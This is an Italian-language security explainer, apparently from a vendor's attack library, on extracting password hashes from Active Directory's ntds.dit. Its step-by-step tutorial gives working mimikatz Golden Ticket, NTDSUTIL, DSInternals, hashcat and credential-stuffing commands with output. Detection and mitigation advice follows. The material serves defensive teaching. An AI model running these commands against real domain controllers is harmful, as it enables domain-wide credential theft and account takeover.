Attacco di estrazione password NTDS.dit
Tutti i dati in Active Directory sono memorizzati nel file ntds.dit (“il dit”) su ogni domain controller (in C:\Windows\NTDS\ per impostazione predefinita). Gli aggressori possono utilizzare gli hash delle password direttamente dal dit per avanzare nei loro obiettivi. Crackare le password degli utenti è vantaggioso anche se un avversario ha già ottenuto il dominio del dominio, poiché gli utenti spesso riutilizzano le stesse password su sistemi e applicazioni sia all'interno che all'esterno del dominio.
Per accedere al file ntds.dit su un domain controller, un avversario deve aver già ottenuto l'accesso da amministratore ad Active Directory. In alternativa, un avversario potrebbe compromettere la soluzione di backup aziendale responsabile del backup dei domain controller e copiare ntds.dit da un backup. La maggior parte delle organizzazioni non ruota frequentemente il segreto krbtgt (vedi l'attacco Golden Ticket) quindi anche i backup più vecchi possono essere utili.
Sommario delle minacce
Target: Active Directory
Strumenti: DSInternals, ntdsxtract, PowerSploit, mimikatz
Tattica ATT&CK®: Accesso alle credenziali
Tecnica ATT&CK: T1003.003
Difficoltà
Rilevamento: Medio
Mitigazione: Media
Risposta: Hard
Tutorial sull'attacco: Come funziona l'estrazione della password NTDS.dit
PASSAGGIO 1: Ottenere i privilegi richiesti
Un avversario deve possedere l'accesso al file system di un controller di dominio prima di poter estrarre ntds.dit. Poiché questo requisito rende l'estrazione di ntds.dit un attacco in fase avanzata, un avversario potrebbe utilizzare un hash di password precedentemente compromesso per l'account computer di un controller di dominio per creare un Silver Ticket.
Nell'esempio sottostante, l'avversario utilizza mimikatz per accedere al file system di un controller di dominio tramite un Golden Ticket.
PS> .\mimikatz.exe "kerberos::golden /user:FakeUser1 /domain:domain.com /sid:S-1-5-21-441320023-234525631-506766575 /id:S-1-5-21-441320023-234525631-506766575-1000 /target:DC1.domain.com /service:HOST /RC4:be3710380a7600e825a2d9ef4ae0fcf0 /ptt" "misc::cmd"
User: FakeUser1
Domain: domain.com (DOMAIN)
SID: S-1-5-21-441320023-234525631-506766575
User Id: 0
Groups Id : *513 512 520 518 519
ServiceKey: be3710380a7600e825a2d9ef4ae0fcf0 - rc4_hmac_nt
Service: HOST
Target: DC1.domain.com
Lifetime: 31/07/2020 11:13:28 ; 29/07/2030 11:13:28 ; 29/07/2030 11:13:28
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'FakeUser1 @ domain.com' successfully submitted for current session
mimikatz # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7FB1F4320
# A new command prompt window opens
C:\Windows\System32>
PASSAGGIO 2: Esfiltrare ntds.dit
Con l'accesso al file system di un controller di dominio, l'avversario può esfiltrare ntds.dit così come l'hive del registro HKEY_LOCAL_MACHINE\SYSTEM, che è necessario per ottenere la Boot Key per decifrare ntds.dit.
Si noti che mentre Active Directory è in esecuzione, mantiene un blocco del file system sul file ntds.dit, quindi i tentativi di copiarlo falliranno. Gli avversari hanno diversi modi per aggirare questo vincolo; in particolare, possono:
- Semplicemente interrompere Active Directory (anche se questo probabilmente porterà ad essere rilevati).
- Utilizza il Volume Shadow Copy Service (VSS) per creare uno snapshot del volume ed estrarre ntds.dit dallo snapshot.
- Utilizza uno strumento PowerShell come PowerSploit’s Invoke-NinjaCopy per copiare i file anche se sono in uso.
- Utilizza uno strumento integrato come DSDBUtil.exe o NTDSUtil.exe per creare file di supporto di installazione di active directory.
PS> .\PSExec.exe \\dc1.domain.com cmd
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.17763.1339]
(c) 2018 Microsoft Corporation. All rights reserved.
DC1 > NTDSUTIL "Activate Instance NTDS" "IFM" "Create Full S:\Files" "q" "q"
NTDSUTIL: Activate Instance NTDS
Active instance set to "NTDS".
NTDSUTIL: IFM
ifm: Create Full S:\Files
Creating snapshot...
Snapshot set {3bacc31c-e2cb-4508-b0bf-5b4ec62f7c68} generated successfully.
Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} mounted as C:\$SNAP_202007311120_VOLUMES$\
Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} mounted as C:\$SNAP_202007311120_VOLUMEC$\
Initiating DEFRAGMENTATION mode...
Source Database: C:\$SNAP_202007311120_VOLUMES$\Windows\NTDS\ntds.dit
Target Database: S:\Files\Active Directory\ntds.dit
DefragmentationStatus (Complete)
0102030405060708090100
|----|----|----|----|----|----|----|----|----|----|
...................................................
Copying registry files...
Copying S:\Files\registry\SYSTEM
Copying S:\Files\registry\SECURITY
Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} unmounted.
Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} unmounted.
IFM media created successfully in S:\Files
ifm: q
NTDSUTIL: q
DC1 > Copy S:\Files \\wks2\Share
PASSAGGIO 3: Estrai gli hash delle password
Una volta che l'aggressore ha esfiltrato ntds.dit e l'hive del registro HKLM\SYSTEM, non necessita più dell'accesso alla rete dell'organizzazione. Un aggressore interessato a decifrare le password vorrà spesso eseguire un attacco brute-force con un computer ottimizzato per questo scopo, ma prima dovrà estrarre gli hash da ntds.dit. Il modulo PowerShell DSInternals fornisce i cmdlet Get-BootKey e Get-ADDBAccount per questo scopo.
$Key = Get-BootKey -SystemHiveFilePath C:\IFM\registry\SYSTEM
Get-ADDBAccount -BootKey $Key -DatabasePath 'C:\IFM\Active Directory\ntds.dit' -All |
Format-Custom -View HashcatNT |
Out-File C:\Hashdump.txt
PS> Get-Content C:\Hashdump.txt
f8ae01fc52f45dda7baf7a67721665f1
eed224b4784bb040aab50b8856fe9f02
# --- Output Truncated --- #
PASSAGGIO 4: Utilizzare gli hash delle password per raggiungere ulteriori obiettivi
L'avversario può ora utilizzare gli hash delle password negli attacchi pass-the-hash all'interno dell'ambiente (forse come mezzo di persistenza). Più probabilmente, cercheranno di decifrare queste password per utilizzarle in attacchi di credential stuffing contro sistemi non uniti al dominio. In questo esempio, l'avversario decifra gli hash per ottenere password in chiaro e le usa per autenticarsi all'API di un'applicazione SaaS.
PS> .\hashcat.exe -m 1000 -a 3 --custom-charset1=?l?d?u --username -o cracked.txt .\Hashdump.txt ?1?1?1?1?1?1?1?1
Session..........: hashcat
Status...........: Running
Hash.Name........: NTLM
Hash.Target......: .\Hashdump.txt
Time.Started.....: Thu Aug 06 10:28:13 2020 (23 hours, 56 mins)
Time.Estimated...: Fri Aug 07 14:10:45 2020 (3 hours, 45 mins)
Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8]
Guess.Charset....: -1 ?l?d?u, -2 Undefined, -3 Undefined, -4 Undefined
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:2165.2 MH/s (9.16ms) @ Accel:16 Loops:256 Thr:1024 Vec:1
Recovered........: 1/41 (2.44%) Digests
Progress.........: 189030831226880/218340105584896 (86.58%)
Rejected.........: 0/189030831226880 (0.00%)
Restore.Point....: 793149440/916132832 (86.58%)
Restore.Sub.#1...: Salt:0 Amplifier:13312-13568 Iteration:0-256
Candidates.#1....: TNAZRwMl -> FYNkI2Jx
Hardware.Mon.#1..: Temp: 84c Fan: 82% Util: 97% Core:1265MHz Mem:2504MHz Bus:16
PS> Get-Content .\cracked.txt
852e811a65d732c83214b4ff705d777a:F8qN47F1
PS># Attacker now uses the cracked passwords to authenticate with the username and password to a SaaS application's API
PS>$Username = "User1" # This is the user with the hash 852e811a65d732c83214b4ff705d777a which was cracked
PS>$Password = "F8qN47F1" # This is the password copied from cracked.txt
PS>$Object = New-Object -TypeName psobject
PS>$Object | Add-Member -MemberType NoteProperty -Name "login" -Value $Username
PS>$Object | Add-Member -MemberType NoteProperty -Name "password" -Value $Password
PS>$url = "https://service.url/api/login"
PS>$body = $Object | ConvertTo-Json
PS>$Header = @{ "accept" = "text/json"}
PS>$Response = Invoke-RestMethod -URI $url -Method POST -header $Header -Body $body -ContentType "application/json"
PS>$Headers = @{ 'Authorization' = "Bearer $Response" }
PS>$url = "https://service.url/api/DoThings"
PS>$Response = Invoke-RestMethod -Uri $url -Method Get -Headers $Headers
PS>$Response
{ "statusCode": 200, "statusMessage": "Things Done!" }
Rileva, Mitiga e Rispondi
Rileva
Difficoltà: Media
I tentativi di accesso a ntds.dit possono essere rilevati utilizzando il registro eventi di Windows. Gli ID evento 4663 e 4656 della sottocategoria Audit File System possono essere utilizzati per eseguire l'audit dell'accesso al file system. Utilizza questi eventi per monitorare sia i tentativi regolari che quelli di Volume Shadow Copy di leggere o modificare ntds.dit.
Mitigare
Difficoltà: Media
Per mitigare il rischio di estrazione delle password da ntds.dit, utilizzare le seguenti migliori pratiche per garantire che gli avversari non ottengano i privilegi necessari per compromettere i controller di dominio in primo luogo:
- Eseguire regolarmente audit dell'accesso amministrativo ad Active Directory, inclusi i diritti di Group Policy e la configurazione di audit per gli accessi ai controller di dominio.
- Seguire rigorosamente il principio di clean source principle per i controller di dominio: Tutta l'infrastruttura (ad esempio, ESX e storage connesso) su cui risiedono i controller di dominio o le applicazioni che forniscono servizi ai controller di dominio (come le soluzioni di backup) devono operare allo stesso livello di sicurezza dei controller di dominio stessi.
- Assicurati la sicurezza fisica delle macchine controller di dominio. Se la sicurezza fisica non può essere garantita, prendi in considerazione l'esecuzione di controller di dominio in sola lettura per limitare l'esposizione delle password.
- Non consentire agli utenti di possedere privilegi amministrativi attraverso confini di sicurezza. Ad esempio, un avversario che inizialmente compromette una postazione di lavoro non dovrebbe essere in grado di elevare i privilegi per passare da una postazione di lavoro a un server o a un controller di dominio.
Rispondi
Difficoltà: Difficile
Se si sospetta un compromesso di ntds.dit, si deve anche presumere un compromesso totale di Active Directory; in particolare, si presume che anche il segreto krbtgt sia stato compromesso. Prendere le seguenti misure:
- Attiva il processo di risposta agli incidenti e allerta il team di risposta. Il recupero da un compromesso totale di Active Directory richiede una pianificazione e uno sforzo significativi.
Condividi su
Visualizza attacchi informatici correlati
Abuso dei permessi dell'applicazione Entra ID – Come funziona e strategie di difesa
Modifica di AdminSDHolder – Come funziona e strategie di difesa
Attacco AS-REP Roasting - Come Funziona e Strategie di Difesa
Attacco Hafnium - Come funziona e strategie di difesa
Spiegazione degli attacchi DCSync: minaccia alla sicurezza di Active Directory
Attacco agli Account di Servizio Gestiti di Gruppo
Attacco Golden SAML
Comprendere gli attacchi Golden Ticket
Attacco DCShadow – Come Funziona, Esempi Reali e Strategie di Difesa
ChatGPT Prompt Injection: Comprensione dei rischi, esempi e prevenzione
Attacco Kerberoasting – Come Funziona e Strategie di Difesa
Attacco Pass the Hash
Spiegazione dell'attacco Pass-the-Ticket: Rischi, Esempi e Strategie di Difesa
Attacco di Password Spraying
Attacco di estrazione di password in chiaro
Spiegazione della vulnerabilità Zerologon: Rischi, exploit e mitigazione
Attacchi ransomware di Active Directory
Sbloccare Active Directory con l'attacco Skeleton Key
Movimento laterale: cos'è, come funziona e prevenzioni
Attacchi Man-in-the-Middle (MITM): cosa sono e come prevenirli
Perché PowerShell è così popolare tra gli aggressori?
4 attacchi agli account di servizio e come proteggersi
Come prevenire gli attacchi malware che impattano sulla tua azienda
Cos'è il Credential Stuffing?
Compromettere SQL Server con PowerUpSQL
Cosa sono gli attacchi di Mousejacking e come difendersi
Rubare credenziali con un Security Support Provider (SSP)
Attacchi con Rainbow Table: Come Funzionano e Come Difendersi
Ricognizione LDAP
Bypassare MFA con l'attacco Pass-the-Cookie
Attacco Silver Ticket